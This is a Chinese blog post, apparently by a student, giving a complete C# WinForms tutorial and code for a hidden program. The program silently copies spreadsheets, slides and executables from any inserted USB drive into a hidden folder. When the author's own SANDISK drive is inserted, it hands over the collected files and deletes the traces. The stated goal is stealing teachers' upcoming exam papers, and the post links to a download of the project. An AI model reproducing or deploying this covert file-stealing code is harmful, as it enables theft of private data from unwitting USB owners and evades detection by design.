因为我还是一名尚未完成义务教育阶段的学生,最近因为学校老是因为所谓的“版权原因”不让我们提前预览未来将要考的题目,(PS:实际上是不想让我们做的比老师快以免问到他们打不出个所以然来。)于是我自己通过浏览C#元数据和网上资料成功做出能在U盘插入时自动复制U盘内所有特定后缀名(例如PPT、XLS)的文档并保存到电脑的一个新建隐藏文件夹中。当自己的U盘插入时,电脑将自动将隐藏文件夹内所有的文件度知道U盘内并删除该隐藏文件夹。这就是这个程序的大概思路。
好废话不多说,下面开始介绍制作程序。
新建winform,为了使程序便显得足够隐蔽,我把form1的size改为0,0;showInTaskBar改为false;FormBorderStyle改为None;WindowState改为Minimized。
接下来,便是代码部分
首先是一大堆的定义部分
public const int WM_DEVICECHANGE = 0x219;
public const int DBT_DEVICEARRIVAL = 0x8000;
public const int DBT_CONFIGCHANGECANCELED = 0x0019;
public const int DBT_CONFIGCHANGED = 0x0018;
public const int DBT_CUSTOMEVENT = 0x8006;
public const int DBT_DEVICEQUERYREMOVE = 0x8001;
public const int DBT_DEVICEQUERYREMOVEFAILED = 0x8002;
public const int DBT_DEVICEREMOVECOMPLETE = 0x8004;
public const int DBT_DEVICEREMOVEPENDING = 0x8003;
public const int DBT_DEVICETYPESPECIFIC = 0x8005;
public const int DBT_DEVNODES_CHANGED = 0x0007;
public const int DBT_QUERYCHANGECONFIG = 0x0017;
public const int DBT_USERDEFINED = 0xFFFF;
private string path1;//首选保存位置
private string path2;//备用保存位置
然后是初始化过程
private void Form1_Load(object sender, EventArgs e)
{
//notifyIcon1.Visible = false;
//去掉标记以实现完全隐身状态(此状态只能从任务管理器处关闭程序)
TransparencyKey = Color.White;
Opacity = 0;
checkDirectory("D:/Music", "E:/Music");
}
private void checkDirectory(string patha,string pathb)
{
//设置两个路径或更多以保证适合不同的计算机,我教室的电脑就没有D盘
if (Directory.Exists(patha) == false)
{
try
{
Directory.CreateDirectory(patha);
path1 = patha;
}
catch
{
Directory.CreateDirectory(pathb);
path1 = pathb;
}
}
else
{
path1 = patha;
}
//隐藏文件夹
File.SetAttributes(path1, FileAttributes.Hidden);
}
接着是获取硬盘信息部分,这无需设置定时器反复检索,每当插入U盘时便会自动执行有关代码
//获取硬盘事件
protected override void WndProc(ref Message m)
{
try
{
if (m.Msg == WM_DEVICECHANGE)//获取消息的 ID 号。
{
switch (m.WParam.ToInt32())//获取消息的 System.Windows.Forms.Message.WParam 字段。
{
case WM_DEVICECHANGE:
break;
case DBT_DEVICEARRIVAL://U盘插入
DriveInfo[] s = DriveInfo.GetDrives();
foreach (DriveInfo drive in s)
{
if (drive.DriveType == DriveType.Removable)
{
DriveInfo info = new DriveInfo(drive.Name.ToString());
if(info.VolumeLabel.Equals("SANDISK"))
{
/*
* 名字叫SANDISK的U盘一旦插入将自动剪切path1内的所有文件到U盘内
而不会将此U盘内的文件复制到path1内
*/
path2 = drive.Name.ToString()+"/Music";
Directory.CreateDirectory(drive.Name.ToString() + "/Music");
getDirectory(path1, true);
DirectoryInfo root = new DirectoryInfo(path1);
checkDirectory("D:/Music", "E:/Music");
//删除文件夹及文件夹内所有文件
PS:C#不支持删除非空文件夹,所以要先删掉文件夹内所有文件才能删除文件夹哦
foreach (FileInfo f in root.GetFiles())
{
File.Delete(f.FullName);
}
Directory.Delete(path1);
break;
}
else
{
//其它U盘一旦插入电脑则将自动复制copyFiles类中已定义后缀名的U盘文件到path1中
getDirectory(drive.Name.ToString(), false);
}
break;
}
}
break;
case DBT_CONFIGCHANGECANCELED:
break;
case DBT_CONFIGCHANGED:
break;
case DBT_CUSTOMEVENT:
break;
case DBT_DEVICEQUERYREMOVE:
break;
case DBT_DEVICEQUERYREMOVEFAILED:
break;
case DBT_DEVICEREMOVECOMPLETE: //U盘卸载
break;
case DBT_DEVICEREMOVEPENDING:
break;
case DBT_DEVICETYPESPECIFIC:
break;
case DBT_DEVNODES_CHANGED:
break;
case DBT_QUERYCHANGECONFIG:
break;
case DBT_USERDEFINED:
break;
default:
break;
}
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
base.WndProc(ref m);
}
最后就是最主要的核心部分啦
//获取FilePath下所有的文件(老师的U盘(*^▽^*),电脑硬盘上的保存目录)
public void getFileName(string FilePath, bool isMYUSB)
{
DirectoryInfo root = new DirectoryInfo(FilePath);
checkDirectory("D:/Music", "E:/Music");
foreach (FileInfo f in root.GetFiles())
{
if (isMYUSB == false)
{
copyFiles(f, path1);
}
else if (isMYUSB == true)
{
copyFiles(f, path2);
}
}
}
//复制文件到TargetPath
private void copyFiles(FileInfo f,string TargetPath)
{//自定义被复制文件后缀名
if (f.Extension.Equals(".xls") || f.Extension.Equals(".XLS"))
{
File.Copy(f.FullName, TargetPath + "/" + f.Name, true);
}
if (f.Extension.Equals(".exe") || f.Extension.Equals(".EXE"))
{
File.Copy(f.FullName, TargetPath + "/" + f.Name, true);
}
if (f.Extension.Equals(".pptx") || f.Extension.Equals(".PPTX"))
{
File.Copy(f.FullName, TargetPath + "/" + f.Name, true);
}
if (f.Extension.Equals(".ppt") || f.Extension.Equals(".PPT"))
{
File.Copy(f.FullName, TargetPath + "/" + f.Name, true);
}
}
//获得DirectoryPath下所有文件夹名
public void getDirectory(string DirectoryPath, bool isMYUSB)
{//搜索U盘下所有子目录
getFileName(DirectoryPath, isMYUSB);
DirectoryInfo root = new DirectoryInfo(DirectoryPath);
foreach (DirectoryInfo d in root.GetDirectories())
{
getFileName(d.FullName,isMYUSB);
}
}
好啦,上面的代码已经能运行了,但是有个弊端就是只能通过任务管理器来结束程序。
于是有良心的我添加了以下的代码以便退出程序
先在form1加入contextmenustrip还有notifyIcon作为系统托盘。如箭头所示,设置ContextMenuStrip.
接着就像设置下拉菜单那样添加“退出”按钮及退出代码
private void toolStripMenuItem1_Click(object sender, EventArgs e)
{
Close();
}
PS:设置下拉菜单按钮点击事件需要先将Form1的FormBorderStyle改为FixedSingle或其他,再点击红色箭头对着的contextMenuStrip,添加项,然后再双击项设置点击事件。
然后就大功告成了!上有政策,下有对策。看老师能拿我怎么地(*^▽^*)
具体项目在https://download.youkuaiyun.com/download/codevegetably/10409269
谢谢观看我的博客哦!This is my first blog in 优快云.
如有任何不足,欢迎提出哦,我将会虚心接纳各大神的意见!